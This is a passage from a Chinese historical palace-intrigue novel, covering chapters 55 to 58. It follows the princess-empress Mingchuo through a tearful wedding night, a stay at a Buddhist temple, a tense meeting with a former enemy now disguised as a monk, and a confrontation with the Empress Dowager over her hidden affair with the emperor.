明绰也不知道自己在想什么,她脑海里一片空白,萧盈也被短暂地抛了出去。她来不及阻止自己,已经直接问了出来:“我不能摸你吗?”
乌兰徵笑了,轻轻在她耳垂上咬了一下,松开了她的手。于是明绰顺着他的胸口摸下去,学着他的样子,在腰上逡巡。他的腰很细,劲瘦。明绰突然想起当日殿上第一面见他,他穿乌兰人的骑装,便很显腰,不像汉人,总是宽袍广袖。明绰的手在摸,他便不自觉地绷紧,简直成了铁板一块,明绰又流连到他腰后,往上,在靠近背的地方摸到了一道伤疤。乌兰徵轻轻地哼了一声,明绰赶紧把手挪开,以为碰疼了他。
乌兰徵已经把明绰身上的寝衣从肩上褪下,耐心地吻她的肩头。明绰感到又痒又麻,分明已经褪下去的酒劲好像又重新涌了上来,让她心跳加速,喘不上气。那条疤不是新鲜的,于是明绰又伸手去摸,他一动,那条疤也跟着动,在她掌心像是一条可以被抓住的活物,凸出皮肤的那部分好像比乌兰徵身上更热一些。他身上本来就很热了,明绰感觉被放在火上烤似的,渴得厉害,乌兰徵端来的那一杯水不够,所以她发出了喘|息声。乌兰徵被她的声音刺激,微微用力,在她锁骨上咬了一下。明绰吃痛,轻轻地叫了一声,马上又被乌兰徵重新堵住了嘴。他吻得好用力,她更喘不上气了。
他也会这样脱敬夫人的衣服吗?敬夫人也会这样摸遍他全身吗?他没有受过这样的伤,想必不会有这样一条疤,在她的手心像活物一般动。他也会这样吻敬夫人的肩膀和锁骨,也会让她这样叫出声吗?
乌兰徵停了下来,手肘撑住自己上半身,皱紧眉头看着躺在他怀中的人。明绰突然哭了。他完全不知道为什么,明明一切都好好的,可她就是无声而剧烈地哭了起来。乌兰徵看了她一会儿,她也没有要停下来的意思,也不解释为什么。他只好把人放开,坐了起来,明绰也跟着坐了起来。她很努力地想要把哭声咽回去,但是越想咽,就越是无法控制。
乌兰徵突然想起今天明绰被领去巫祝面前起誓时的神情,即便后来她在人群中笑了,乌兰徵也记得那一瞬间她眼神里那种无可奈何的悲伤。
他什么都没说,伸手把刚才脱下的纱衣重新穿回身上,站起来就走。明绰唤了一声“陛下”,坐在床边,寝衣被脱了一半,满脸泪痕地抬头看着他。乌兰徵本来要出去了,突然被她唤了一声,犹豫了半晌,竟然又走了回来,站在床边,非常恼火地问她:“既然这样不情愿跟我,为什么不干脆跟着你们使臣回去?”
他方才很温柔,温柔得让明绰忘记了,他本来不是一个温柔的人。
明绰仰起脸,还带着哭腔,不管不顾地道:“你以为我不想吗!”
“我绝不会拦你!”乌兰徵动了真怒,“使臣还没走呢,你还来得及!”
他这样说,明绰哭得更厉害:“可是他已经有了敬夫人!”
有那么一会儿,乌兰徵什么都没说得出来。他不知道这个敬夫人是谁,但是看明绰这样的反应,也不需要知道了。明绰说完这句,再也不理他,干脆倒下来,整个身体都蜷在一起,放声哭了起来。
乌兰徵被她哭得头大,实在不明白这个女
人到底在想什么。是她说要做他的皇后,然后又当着所有人的面叱骂他德不配位;是她主动劝她皇兄出兵相助,终于肯接了立后的诏书,然后又在这种时候满心想着别的男人。她一次次顶撞他,甚至羞辱他,玩弄他,已经超出了乌兰徵能够容忍的所有限度。他觉得他应该现在就转身出去,再也不进长秋殿的大门,然而看她哭得这样心碎,他却单膝跪到了床上,把手轻轻地搭到了明绰的肩膀上。
明绰的哭声低了下去,但还是背对着他,一下一下,抽噎着。乌兰徵在心底用明绰听不懂的语言狠狠骂了自己一句,无声地躺回床上,从背后抱住了她。
明绰身体顿时绷紧,以为他要做什么。但是乌兰徵只是抱着她,没有了进一步的动作。明绰慢慢地放松了下来,眼泪还在流,但是哭声终于弱下去,再弱下去,然后渐渐没有了。乌兰徵一条手别扭地别在了她的脑后,她感觉到了,于是她把头支起来,调整了一下姿势。乌兰徵那条手臂就顺畅地伸出去,被她枕住。他因此把人抱得更紧了一些,手臂屈起来,揽住她的肩膀。她不自觉地伸出手,覆到乌兰徵的手背上,然后很轻地,与他手指交错,扣在了一起。
乌兰徵最终什么也没做,明绰整个人都被环抱着,像是回到了最安全的地方,竟然哭着哭着就睡了过去。再睁眼的时候天已经大亮,床边也没了人影,只有秋桑和冬青守在床边,等着伺候她起身。
明绰一下子坐起来,秋桑递上洁牙的碳粉,冬青又端来漱口的水,梁芸姑则端了一盏浓茶来,让她们俩都退开,长公主先喝杯浓茶,醒醒酒。
明绰不想喝那茶,只问:“陛下呢?”
“走了,”秋桑回答,“不让我们吵着长公主呢。”
明绰坐在床边,慢慢地回忆起了自己昨晚都做了什么,脸色一下子就变了。
冬青还在捂着嘴笑:“陛下起了身一直揉肩膀,袖子都伸不进了,外袍都是我们帮他才穿上的……”
梁芸姑回头道:“多嘴。”
明绰懊恼地把脸埋进了手心,她都干了些什么呀?
秋桑原本刚说了一句“陛下说”,看见明绰这个样子,一下子忐忑起来,不敢说了。明绰马上抬起头:“他还说什么了?”
秋桑这才道:“陛下说,西觉寺这两日有法师讲经,皇后就陪着太后一起去吧。”
明绰跟梁芸姑对视了一眼,一时竟不知道说什么好。乌兰郁弗改宗改了没几年就死了,改得也很是做做样子。乌兰部还是笃信阿瓦神女,就连乌兰徵自己也很信任身边的巫医和巫祝,这种信仰越是坚固,他们对胡汉融合的抵触心就越强。段太后这两年十分地扶持佛寺,在西觉寺设僧正管理天下僧尼,广招佛法高深的法师来长安讲经、译经,她自己有多少虔诚且不论,这西觉寺确实是三天两头就要去的。
乌兰徵为什么突然让她去陪太后?要她也帮着太后推行佛法?那不如他自己去拜一拜佛,比什么都有效。
他生气了。明绰心里突然轻轻一沉,泛起一股异样的感受。从前她也把他惹生气过,但不知道为什么,她心里某个地方就是知道,这次不一样了。
第56章
西觉寺和瓦官寺差不多,都已在京郊。这两年段太后刚花了大钱扩建过,占地十分骇人。佛殿金碧辉煌不说,寺中还专设译场,能容译经僧人数百之众。
太后与皇后驾临,主持亲自出来接,一番攀谈之下,发现他竟也是故国来的——他本是瓦官寺的僧人。
主持没有明说,但明绰听出来了。谢太后在时就不喜欢瓦官寺,甚至还亲自去杀过和尚。萧盈也私下跟她说过不满僧人不受管制、为害民间之事,想来他亲政之后是采取了什么措施。两代统治者都是这样的态度,权贵们信佛之风自然远远不及从前了。
南国抑佛,北国尊佛,僧人们便如同顺流的鱼群,呼啦啦地都往长安涌来。虽是佛家,也与世俗无异,这主持原先在建康便是“高僧”,来了长安也没受亏待。
明绰笑着与那主持叙了叙家乡风物,转过头去就跟太后说,尊佛可以,但万万不能为了推广佛寺就免了他们的地税。
段太后正把云屏公主抱在怀里喂饭,听得有一搭没一搭的。云屏公主长大了不少,反而比小时候更难照料了,不知道为什么,就是不肯吃饭。她的那些个乳母、保母拿她一点办法都没有,最后只能段太后亲自来喂。她吃饭的时候,明绰还要坐在旁边说这些事儿,乌兰辉突然尖叫一声,把勺儿啊筷儿的一股脑砸在地上,说什么也不肯吃了。
段知妘一下就火了:“那你就别吃了!饿着吧!”
乌兰辉嘴一撇,一双大眼睛迅速蓄起了两汪泪。段知妘不耐烦地招手让察察过来,把小公主抱了下去。乌兰辉不敢说什么,但走的时候恨恨地瞪了明绰一眼。
明绰让她瞪得哭笑不得的,段知妘深吸了一口气,这才问:“你方才说什么?”
“没什么,”明绰重新给太后奉了筷子,轻声道,“云屏公主大了,心里懂事了。”
“她懂事什么?”段知妘气得音调都高了两个度,“惯得无法无天!”
“公主只是希望她的阿娘能心无旁骛地陪她吃一顿饭。”
段知妘突然抬起头看着她,神色十分复杂。
明绰给她布菜,轻声道:“东乡小时候最希望的,就是母后能有一天不用陪我到一半就被叫走。”
段知妘举了筷子,突然道:“那该你去多陪陪云屏,让她早些懂事。”
她听起来心情很差,明绰就没再说什么,颇有些小心地陪在旁边用完了这顿斋饭。她嫁来长安两年多,段知妘从来没有要她晨昏定省过,这顿饭倒是有了一些媳妇伺候婆母的味道。回去的时候梁芸姑满脸的不高兴,又不好说什么,怕明绰更不高兴。
不过明绰没有不高兴,回去了自己屋里,左右琢磨了半天,竟然露出了一个神神秘秘的微笑。
“还笑呢。”梁芸姑终于把心里的话说出来了,“也不知道陛下什么意思!”
也算是新婚燕尔,头一回在房里过了夜,转头就打发来伺候婆母,这算什么?给新妇立规矩吗?
明绰还是笑:“他的意思不是很明白吗。你瞧太后前前后后带了多少人?”
梁芸姑便撇撇嘴:“太后的排场自然是大。”
明绰摇摇头:“那也没有把平日里吃的用的都拿来的道理,连云屏公主都一并带来了,这叫‘小住’?”
梁芸姑马上就明白了,琢磨着,也坐了下来。看段太后的心情,不像是自己愿意来西觉寺的,乌兰徵还要新皇后陪着,就是不让她有拒绝的余地。段太后推行佛法是一回事,自己被迫长居佛寺,那就是被夺了权了。
只是长秋殿消息闭塞了两年,竟也不知道是出了什么事,让段太后突然失去了乌兰徵的信任。
明绰低着头,手里剥着一枚已经被夹开的核桃,只是笑。
梁芸姑:“在丞相面前太后总是护着长公主的,她若是倒了,对长公主也不是好事。”
明绰笑意微敛。这一层她也不是没想到,不过当年额雅的事,她一直介怀段太后存了杀母夺子的心。如今看到她被夺权,不管
怎么样也要先幸灾乐祸一番。
梁芸姑又道:“那陛下也没说陪多久呀?若是太后一直出不去,难不成皇后也要……?”
明绰便叹了一口气:“我得罪他了,这是一并罚我呢。”
梁芸姑眨了眨眼,没听明白。那天早上她进去的时候,两人在床上睡得紧紧交缠,瞧着情好得很,怎么又得罪上了?
明绰在梁芸姑面前也没什么不好意思,便把实话说了。梁芸姑听得只是皱眉,一直用很不认同的眼神看着明绰,最后也只道:“陛下算好脾气的。”
明绰把手里稀碎的核桃壳扔在桌上,什么都没说。乌兰徵会回来,她也没有想到。她更没有想到的是在他怀中竟然睡得还挺好的。她嫁得不情不愿,一直到走到巫祝前面宣誓那一刻都只觉得心如死灰,原本也是存着“忍一忍就过去了”的心让他上了自己的床,但好像一切都跟她想的不一样。
明绰手指微蜷,那条疤的触感好像还停留在她指尖。那是什么时候落下的?她竟也没问。乌兰徵十二岁就上战场了,也不知道他生死往来到底经历过了多少趟。兴和四年初的时候从北镇传回来过一次消息,说陛下领了一支小队进了漠北,半个月都没消息了,不知道是因为天寒迷路,还是遇了敌人遭了伏。当时段太后死死摁住了这条消息,稳住了人心,好在不久之后又传来军报,说陛下平安回来了。
站在段太后的角度想,明绰倒也不是不能理解她为什么想要学普达惹氏。谁知道乌兰徵什么时候就战死了,他的继承人,自然是攥在自己手里的好。
当时她对乌兰徵有可能会战死这件事没有任何感觉,可是现在想起那条疤,心里便又泛起那股异样的滋味。
“长公主?”梁芸姑叫了她一声。
明绰终于回过神来:“嗯?”
“想什么呢?”梁芸姑道,“叫好几遍了。”
明绰竟然莫名脸上一红,只道:“没想什么。你说——?”
“我说,长公主还是要想法子让陛下回心转意。”
“那能有什么法子。”明绰又拿一枚核桃来剥,可惜挑了一枚没太夹开的,虽也裂了一条缝,但下了半天死力气也没剥得开。明绰一时恼了,把那核桃一丢,只道,“我人都在这儿了,心里想谁他也管啊?愿意气就气死他。”
梁芸姑看了她一会儿,明绰对乌兰徵一直是这样的话,从前是他愿意去找别人就去,现在是愿意生气就生气,可是听在耳朵里,便有些微妙的不同。她了然地一笑,轻声道:“长公主当真是还想着那位吗?”
明绰马上道:“他也没什么好想的!”
“那你和陛下置什么气……”
两人在这里说,厢房外面传来了冬青跟人说话的声音,明绰便停了下来,等着那话音弱下去。然后冬青走了进来,跟明绰禀告,说灵智无上法师来请。
明绰一皱眉,想也没想便道:“不去!”
这“灵智无上”自然不是法号,而是太后赐的封号。她们一进西觉寺的时候太后便跟住持问及了此人,明绰稍稍打听了一下就知道了,这一年来,段太后每来西觉寺,必是听这位法师讲经。有太后的宠信,灵智无上法师自然也成了西觉寺中的第一人,甚至专门辟了清心居给他修行。想听他设坛开讲的信众不计其数,他却躲在清心居不露面了。偶尔跟朝中贵人讲经,也必是一对一地单独讲。他的说法是,各人缘法不同,开坛大讲,说的都是皮毛,必须得有问有答,才能真正参悟佛法的高妙。
梁芸姑劝了一句:“长公主还是赏个脸。”
明绰马上整张脸都皱了起来,十分不情愿。谢郯深研佛法,小时候在太父那里上课,他就动不动喜欢夹杂一大篇的讲经,那是明绰最不喜欢的部分。梁芸姑也知道她不爱听,没忍住笑了一声,又劝:“太后也不像是笃信虔诚的人,能这样愿意听这位法师讲经,想来他必有过人之处。”
明绰便叹了口气,也知道这不是她爱不爱听的问题。灵智无上法师是太后的人,她要看的是太后的面子。
“你去回了,”明绰吩咐冬青,“多谢法师相邀,我片刻便来。”
冬青应了一声,下去通传了。明绰老大不情愿地坐在镜前,让梁芸姑给她理妆,磨蹭了半晌,才起身去了清心居。
清心居是一个小院,在香客们的厢房与译场之间,遍栽青竹,甚至不计代价引渠通水,整个小院颇有江南遗风。明绰到的时候,还见好几个身着译场僧服的和尚抱着经书往来,冬青去通报皇后到了的时候,有个红衣袈裟的僧人先走了出来,眉髙目深,肤色偏黑,一看就是天竺国人。两人语言不通,他也没对皇后说什么,只是合十为礼,然后带着那些译经僧人走了。这才有个黑衣的小僧将她引见进去,让她先坐,法师随后就到,然后又做了个手势,竟是让梁芸姑跟他一起出去的意思。
明绰心里已经不太高兴,梁芸姑便给了她一个安抚的眼神,自己跟着黑衣小僧出去了。明绰只好自己在经房里转了转,其实也没什么能看的,房中只有一个蒲团,一张香案。背后墙上挂了四幅画,分别为老、病、死和沙门,说的是当年为太子的释迦牟尼出游四门,决心出家修行的故事。画工十分精细,色彩浓艳,人物的表情夸张,与汉人的风格大不相同。明绰没忍住细细端研,竟没有听到脚步声。
“原来皇后也喜欢画。”
明绰吓了一跳,连忙转身。香案前设有绢素屏风,上绘竹石,可透光,她便见到了屏风后那个瘦长的人影,朝她微微颔首:“劳皇后久候,怠慢了。”
明绰也还了一礼:“无妨,法师多礼。”一边皱起眉头,觉得这法师的声音有些莫名的耳熟。
法师又行一礼:“皇后请坐。”
他说着,自己也在屏风后坐了下来。明明是一个平常至极的动作,但那种熟悉的感觉更强烈了。明绰极力地想看清他的样子,但他的脸正好隐在屏风的画后,除了一个圆润的光头,什么也看不清。
明绰突然问他:“法师也是建康人士吗?”
灵智无上法师一时未答,好一会儿才笑了笑:“算不上。但皇后若是想问,檀越是否和住持一样在瓦官寺修行过,那皇后没有想错。”
明绰在心里“哦”了一声,果然。
“那法师应该知道,我母后与皇兄都不信佛。”明绰便也直接跟他说了,“我也不信佛,怕是要拂了法师的美意。”
“檀越晓得。”法师笑了笑,突然改了口,“但檀越与长公主有缘,他乡重逢,总要一见。”
就在他唤出“长公主”那一瞬间,明绰猛地变了脸色。她突然上前,直接绕过了屏风,然后在看见那人的面容时惊得没忍住倒吸一口冷气。
法师站了起来,换了黑衣僧袍,剃了度,也不减他的风姿卓绝,和明绰记忆里一模一样。
“檀越慧玄,”僧人含笑,朝她合十为礼,“长公主,别来无恙?”
第57章
“当年身不由己,走得匆忙,”慧玄倒上了一盏茶,奉给明绰,“不知道长公主有没有拿到檀越留下的锦囊。”
明绰把茶接过来,板着脸,不肯说话。当初他被太尉发配辽东,临走却让当时的执金吾卫中尉楚培交给她一个锦囊,里面是萧盈的来处。他好像料到了明绰会去问他此事,但她一直不明白他为何愿意告诉她。
“没有别的意思,”慧玄语气淡淡的,“长公主既然好奇,檀越便为长公主解惑。”
明绰看着他,一脸的不信任:“为什么?”
“不为什么。”
明绰便又问了一遍:“为什么?”
慧玄顿了顿,抬头看了她一会儿,突然笑了:“你聪慧过人,檀越心中见了喜欢,所以愿意帮你。这个答案,长公主可满意?”
明绰冷着脸:“可是我不喜欢你。”
慧玄就微微正色,一副“这可怎么办”的神情:“为何?檀越哪里得罪过长公主吗?”
明绰都让他气笑了:“除了你绑过我、让长沙王拿剑架在我脖子上去威胁过我母后,倒也没什么得罪我的地方。”
慧玄轻轻地“哦”了一声,好像想起来了是有这么回事儿:“长公主大人有大量,想必早已不再放在心上了。”
明绰不得不轻轻咬住自己的舌尖才控制住那股火气,他当然是
故意的,明绰不愿着了他的道。素绢屏风已让他收了起来,现在他把蒲团设在了明绰的香案对面,两人对坐饮茶,如文士清谈。
明绰面色重新如常:“难为你,辽东战乱这样频繁,你还能活着走出来。”
“是不容易,”慧玄叹了口气,“若说死,檀越死也死过几回了。”
明绰不为所动:“但你到底没死成,还能爬到大燕的太后身边,真是了不起。”
“天幸太后英明,”慧玄一笑,“长安佛光大盛,惠及天下僧众,檀越也不过求个活路。”
明绰心里突然一动。
灵智无上法师这个不让旁人听宣,一对一讲经的规矩,明绰刚听到的时候还觉得有道理,大有圣人“因材施教”之意。但是看着慧玄这张清俊的脸,想想段太后一贯的做派,明绰就觉得不是那么回事儿了。温峻这一年已经很少私下进宫见太后,明绰上回听见宫里传,说温峻得了重用,觉得这么厮混胡闹对不起陛下的天恩,挥剑斩情丝了。当时明绰就不信,温峻要是敢,段太后抬抬手就能捏死他。如今看来,果然还是段太后又有了新欢的缘故。
他还真是……“故技重施”。
明绰笑了一声:“我原本还不确定自己猜得对不对。”
慧玄一挑眉:“哦?”
“我听说大厦将倾之前,蛇虫鼠蚁都是第一个跑的。”明绰端起茶,喝了一口,“法师既来找我,那看来太后真的失势了。”
慧玄笑起来,看着她的眼神就像看自家孩子,让明绰直起鸡皮疙瘩。
“那长公主不想知道太后为何失势吗?”慧玄卖了个关子,刚要开口,明绰就一口截断了他:“不想。”
慧玄噎了一下:“可是……”
明绰再次截断他:“不用你来告诉我。”
慧玄摇着头叹了口气:“长公主不必对檀越如此有成见。檀越有才,厚颜自荐,愿为萧皇后效力,实是一片赤心,半分都不掺假。”
“你有才?”明绰冷笑,“当初你为长沙王谋士,长沙王万箭穿心而死;如今你辅佐段太后,段太后被迫长居佛寺——我可消受不起你。”
“萧盈善谋,是檀越棋差一着。”慧玄倒是也供认不讳,“但眼下之局……并非檀越诡辩,但段太后固执独断,檀越的话,她也不会那样放在心上。”
那意思,就是段太后都是咎由自取,并非他辅佐不力。
“所以你就来投我?”明绰又道,“那就是不忠不信。我不用这样的人。”
“岂能是不忠不信?”慧玄摇了摇头,“檀越与太后并无故人之谊。”
明绰不笑了:“我跟你也没有。”
慧玄打量了明绰两眼,决定不再跟她再争论这个,忽道:“皇后对陛下有多少了解?”
实话是不怎么了解,但是明绰脸不红心不跳地回答:“他是我的夫君,我定然比你了解。”
“哦,”慧玄一笑,“真是情深意笃。”
他话里讥讽,似是笑她两年来几乎被遗忘在了长秋殿,又或者是笑她刚立后就被打发来了西觉寺。明绰咬了咬牙关,嘴硬道:“自然。”
慧玄没再阴阳怪气,顺着她道:“自古美人爱英雄,陛下沙场驰骋,从无败绩,难怪皇后倾慕。”
明绰一时没控制住自己脸上的表情——从无败绩?真的吗?明绰不怎么相信。当年建康是很忌惮乌兰郁弗父子,但大燕立国之艰,明绰现在从内部看得一清二楚,若当真如此所向披靡,乌兰徵还要向萧盈求助什么?
慧玄似是知道她在想什么,一手揽袖,腾出手来拨开炉中的香灰,慢条斯理道:“影响战争的因素有很多,朝局,时势,像贺阆王这样横插一杠的变数,有时甚至只是一阵东风,一场雨……陛下一介凡人,自然也有人力难胜天的时候。但若论单场作战,陛下用兵如神,确实从无败绩。当年乌兰郁弗在冀州屡战屡败,唯独乌兰徵从后方奇袭是胜了的。若不是他奇袭得手,陈氏还不会亡得这么快。他在军中的威信已经超过他父亲,檀越从辽东西进,一路听说的都是他‘军神’之名。如此雄主,早晚有一天会一统北方。”
明绰露出不耐烦的神色,这些她都知道。建康会把她嫁过来,就是选择了乌兰徵而不是拔拔真。北方若能统一,迎来和平,对大雍也是好事。所以就算乌兰徵自己做不到统一,大雍也会支持他做到。
慧玄话锋一转:“但是比起萧盈,陛下却有一个致命的缺点。”
乌兰徵长于征伐,不善内政。农策、水利、税收等民政,乃至律法条例的修订,一国礼法的确立,乌兰徵是半点也不通,甚至懒得过问,一并甩手交给段太后。耕田是民生之本,他不管,只知伸手问太后要粮草。性格上虽不刚愎自用,可问题是他自己心中对内政没有成算,分不出谏言好坏,就成了“滥纳”,反而更加误事。
如此一来,用人上便有了更大的隐患。平衡各方,操弄人心之术,和萧盈简直差了十万八千里。萧盈亲政才几年,每出一道政令,都是实打实的民策,朝中大姓被分权,各世家也都被牢牢操控在皇帝一人手中。反观长安,乌兰徵拿齐木格他们简直是一点办法也没有,大燕领土虽广,但豪强遍地,各自为政,只是勉强被武力征服了而已。
明绰看着他,一言不发。她不喜欢慧玄把萧盈和乌兰徵放在一起这样比较。
萧盈不过是借力打力,趁着她母后在时就削了谢家,自然诸事便宜。而且耕田农策是萧盈从小要学的功课,可西海几乎无田可耕,乌兰徵不通不是常理么?
大雍立国百年,四方臣服,家底比大燕厚了不是一点半点。北方乱了这么多年,能一统就已经是千难万难,各地豪强之患只能徐徐图之。眼下西海权贵圈地为祸,不把汉人当人,若不加约束,很快就会把大燕从内部蛀空,到时候乌兰徵再所向披靡也是于事无补。但一统大业还要仰仗西海十八部的兵马,在这之前,西海各部权贵的势力不可能削。
这个局面放到萧盈面前,他也未必能做得更好。他这辈子都还没上过一次战场呢,一统大业让他来,还不知能做成什么样子。
明绰疑心这假和尚不过是输在了萧盈手下,又曾亲自下过“明主”的判词,才把萧盈捧得这般高。
但话说到这份上,很多事情明绰就想通了。现在乌兰徵心里最要紧的事情,是从拔拔真手中收回洛阳,所以齐木格赢了,太后必须放权。
慧玄重新拢上香炉:“陛下虽然手段上不及萧盈,但说到底,也不是愚笨之人。”
明绰看他一眼:“你也不是愚笨之人。”
“皇后这样说便是辜负檀越一片赤心了。”慧玄说得真心实意。
明绰敛了敛袖子,语气平淡:“你的赤心还是省省吧。”
慧玄看着她站起身,知道今天这场对话就算是结束了。他也不留她,只道:“皇后若得闲,檀越随时可为皇后讲经。”
“不必了。”明绰已经往外走,闻言顿了顿脚步,回头看了他一眼,“我说过了,我不喜欢你。”
梁芸姑等在院中,见她出来,连忙迎了上来。那黑衣小僧方才跟她说,法师给她们都准备了斋饭,她还以为明绰会再留久一些。
“什么斋饭,”明绰一脸的晦气,“看着他那张脸就吃不下。”
她话音未落,慧玄已从房中出来相送,见到梁芸姑,也是客客气气地颔首为礼:“梁女史。”
梁芸姑不认得他。当初她因为得罪了王家,谢太后不得不把她关起来,所以长沙王作乱时,她根本没在太极殿上。听到慧玄称呼她“女史”,还想还礼。明绰一拉她袖子,小声道:“他就是方千绪!”
说方千绪她就知道是谁了。梁芸姑一下子睁大眼睛,见鬼似的瞪着这僧人。明绰懒得再跟他多啰嗦,拉着梁芸姑就大步离开了清心居。
慧玄一直站在门口,看着她疾步走开的背影,突然十分畅怀地大笑了一声。
段太后这一年来一直向他抱怨,说大雍公主意气
用事,娶回来竟全无用处,实是走了一步错棋。慧玄却觉得,潜龙在渊,势满则发。今日一见,他果然没有料错。小公主长大了,聪明灵气不减,而且更有一股气度。
萧皇后,才是大燕的来日。
“小公主,”慧玄轻笑一声,在口中咀嚼着这几个字似的,“萧皇后……好极了。”
明绰没听到他念经似的念什么,一阵风似的疾步走回了自己房中。她并未向梁芸姑隐瞒方千绪跟她说了什么,但到了有关段太后一节,明绰却有别的顾虑,终究又止住了话头。
她从来没有告诉过任何人当年在长霄殿窗外看到的一幕。
事到如今,这份私情想来已经荡然无存了。叱云额雅死前曾对明绰说过,乌兰徵幼时被普达惹氏虐待过,而段太后露出了效仿普达惹氏的野心。可她毕竟没有亲自抚养乌兰徵长大,做不到当年普达惹氏对于乌兰郁弗的绝对掌控。她这样迫切地想抓住乌兰徵的继承人,说得不好听一些,就是准备着乌兰徵早死。乌兰徵心里不忌讳,是不可能的。
明绰本以为她会高兴一些,毕竟当日她确实为了这份私情耿耿于怀过,但到了此时此刻,她只觉得背上突然泛起了一股寒意。
她以为乌兰徵至少真心爱过段知妘。他后宫里有一群女人,但他几乎不去碰;每次出战,都把长安留给段知妘;他采纳她的谏言,重用她推荐的汉臣,哪怕明知那是她的情人……这种程度的信任和纵容,没有一点儿爱是说不过去的。段太后这么多年来,哪一件事最后不是为了乌兰徵的霸业?
可她就是为他做得太多了,如今和齐木格势成水火,反而给乌兰徵带来的麻烦大过了帮助。局中已有新的变数,要推行胡汉融合之策,如今有皇后了。所以段太后就被这样弃如敝履,连她宠信的一个谋臣都知道是时候弃她而去。
帝王无情,到底不堪托付。明绰心里短暂为乌兰徵泛起来的一点波澜,又瞬间被冻成了冰。
她太长时间不说话,梁芸姑看起来担心极了:“长公主?怎么了?”
明绰突然站了起来:“我要去见太后。”
第58章
明绰被察察引进去时,段知妘先朝她做了“嘘”的手势。只见她长发披散,身着寝衣,而云屏公主更是睡得四仰八叉,嘴巴张着,口水在脸颊上流出了一道痕迹,手中还攥着母亲的衣角。
明绰看着段知妘小心翼翼地从云屏公主手中把自己的衣角抽出来,公主马上发出哭泣似的一声梦呓,惊得段知妘全身都不敢动,明绰也跟着吓得不敢动了。但云屏公主没醒,只是翻了个身,接着睡了。段知妘松了口气,朝明绰示意,往外间去。
此时已近酉时,都快要用晚膳了。明绰跟着走出来,看见段知妘坐下来,满身的慵懒,显然是午睡刚起,不由笑了一声:“太后好悠闲啊。”
段知妘给自己倒了一杯浓茶,闻声苦笑着摇了摇头:“这讨债鬼,哄了一个多时辰才肯睡,看这架势,晚上又不肯睡了。”
明绰含笑:“那还是现在叫起来吧?”
“别,”段知妘揉太阳穴,“让我再清净会儿。”
明绰唇边笑意更深。她极少看见段知妘为人母的这一面,从前云屏公主身边都有保母,她政事繁忙,也不必亲自照顾。想来也是寺里无事,带女儿都上心许多。只是看她这样子,好像一个云屏公主,比西海十八部的老头们加起来都难对付。
段知妘见她笑,突然道:“你别笑,且等你有了自己的孩子……”
明绰便不笑了,段知妘做了个手势,让她也坐下,给她倒了一杯茶:“到那时你就知道了,孩子不听话的时候,那股火啊,真是……”她把茶送进明绰手心,“早些时候,不是冲你,别往心里去。”
明绰低头:“不敢。”
“找我何事?”
明绰的指尖在杯沿口滑了滑,看着段知妘的脸色:“灵智无上法师方才邀我去讲经了。”
段知妘举杯的手一顿,但仅此而已,她面色如常,只道:“好啊,你觉得他讲得如何?”
明绰见她不接招,便直说了:“太后可知他从前是什么人?”
段知妘放下茶杯,斜了她一眼:“长沙王的谋士?还是你外祖的门客?”
明绰一愣,没想到太后全都知道。段知妘见她反应,突然笑了起来。原来这小丫头是来给她示警了,可她还没糊涂到不知道枕边是谁就躺下睡觉。
“他跟我说了当年的事。”
“当年……?”
“听说有个小丫头胆大包天,从母后眼皮子底下把人偷出去,结果自己落到叛军手里了……”她笑着拍了拍手,“我要是你母后啊,非得狠狠打你一顿,关上半年不让你出门。”
明绰黯然地一笑:“我母后当时也很生气。”
“但没打你吧?”
明绰摇摇头,段知妘便笑:“她还是太疼你了。”
“太后不也一样疼云屏公主吗?”
段知妘看着她,目光很惋惜似的:“所以你母后给我写信,请求我再缓两年的时候,我答应了。”
明绰愣了一下,一时竟不知道说什么好。
段知妘突然道:“我其实一直很想见她一面。”
“我母后?”
“嗯。”段知妘点点头,“若没有她,很多事我都做不来。”
其实乌兰郁弗不喜欢女子掌权。他半生都在普达惹氏的阴影下,不希望娶回来一个汉人女子成为第二个普达惹氏——尤其段知妘比他小上了这么多,都快能做他的女儿了。他想夺去雍州军权,说得却很好听。嫁给了他,自有西海十八部铁骑踏平长安,为段氏报仇,不必她再辛苦作战了……可是段知妘不依,她指着乌兰郁弗的鼻子骂,别打量着汉人女子就都是温良谦恭的,想来占这样的便宜。看看大雍,一样是女子掌政!她十七岁就从父亲手里接过了雍州军,哪怕是带进坟墓里也不可能给任何人。乌兰郁弗拗不过她,才同意把雍州军的军权留在她自己手里。
明绰不知道还有这段内情,她从前听说的都是乌兰郁弗为博段氏女欢心,主动留了雍州军权,主动为她向羌人报仇……
“天下人都爱听英雄美人的故事。”段知妘笑得揩了揩眼角,眼泪都笑出来了,“故事里总是英雄好气概,美人只要是个美人便行了。”
明绰默然不语,半晌,轻声道:“我母后也说过,‘段氏女巾帼不让须眉’,仰慕太后的气概。”
段知妘便长叹了一声,好一会儿,轻声道:“可惜。”
明绰没有忍住泪意,悄悄转身擦了擦眼睛,段知妘也没说什么,等她自己平复下来。明绰其实没有想到她会突然跟自己谈起母亲,这两年多的时间里,这还是第一次。她从未感到与段太后如此亲近过,可这份突然的亲近却又让她觉得隐隐不适——若是这番话是在她当年初到长安时说的,她绝不会起一丝一毫的疑心。
明绰就在这个时候想起了额雅,想起了为什么当初她会对段太后起了戒备之心,想起了为什么,她会选择在长秋殿中虚耗两年的光阴。
“太后,”明绰平复下了心绪,斟酌着字句,又道,“法师也同我说了,太后为何会来这西觉寺中。”
段知妘看起来不意外,轻轻地“哦”了一声:“你也不必过忧,这不过是一时的。你皇兄已经答应从幽州出兵,届时陛下也会出兵,先讨回洛阳。等灭了拔拔真,收回冀辽,丞相手里就没有什么能用来辖制陛下了。”
灭拔拔真,收回冀辽,那就是一统北方了。明绰只问:“可那要等到什么时候?”
段知妘若有所思地看着她:“皇后何意?”
明绰没有着急回答这个
问题。小心,她在心里告诫自己。接下来的每一句话,都要小心。要打段太后一个措手不及,才能最快地卸下她的防备,但也不能当真把她激怒。即使是失了势的虎,也不会马上变成一只可以随意抚摸的猫。
“我一直很好奇,”明绰突然问,“为什么云屏公主后来再也没有过弟弟妹妹呢?”
段知妘脸上的表情果然一下子就变了:“皇后这话是什么意思?”
“我是真心好奇,”明绰的手无意识地在袖中握紧,控制着自己脸上不要有一丝多余的情绪,“避子汤伤身,又不保证有用,太后不可能用了这么多年……”
段知妘打断她:“皇后是不是听说了什么风言风语?温峻他……”
“不,”明绰声音很轻,“我是说你和陛下。”
一片死一样的寂静。段知妘一下子站了起来,退了两步,看着明绰。她脸上第一次露出了无措,甚至是惊恐的表情,明绰也看着她的眼睛,藏在袖中的拳头却慢慢地松开了。
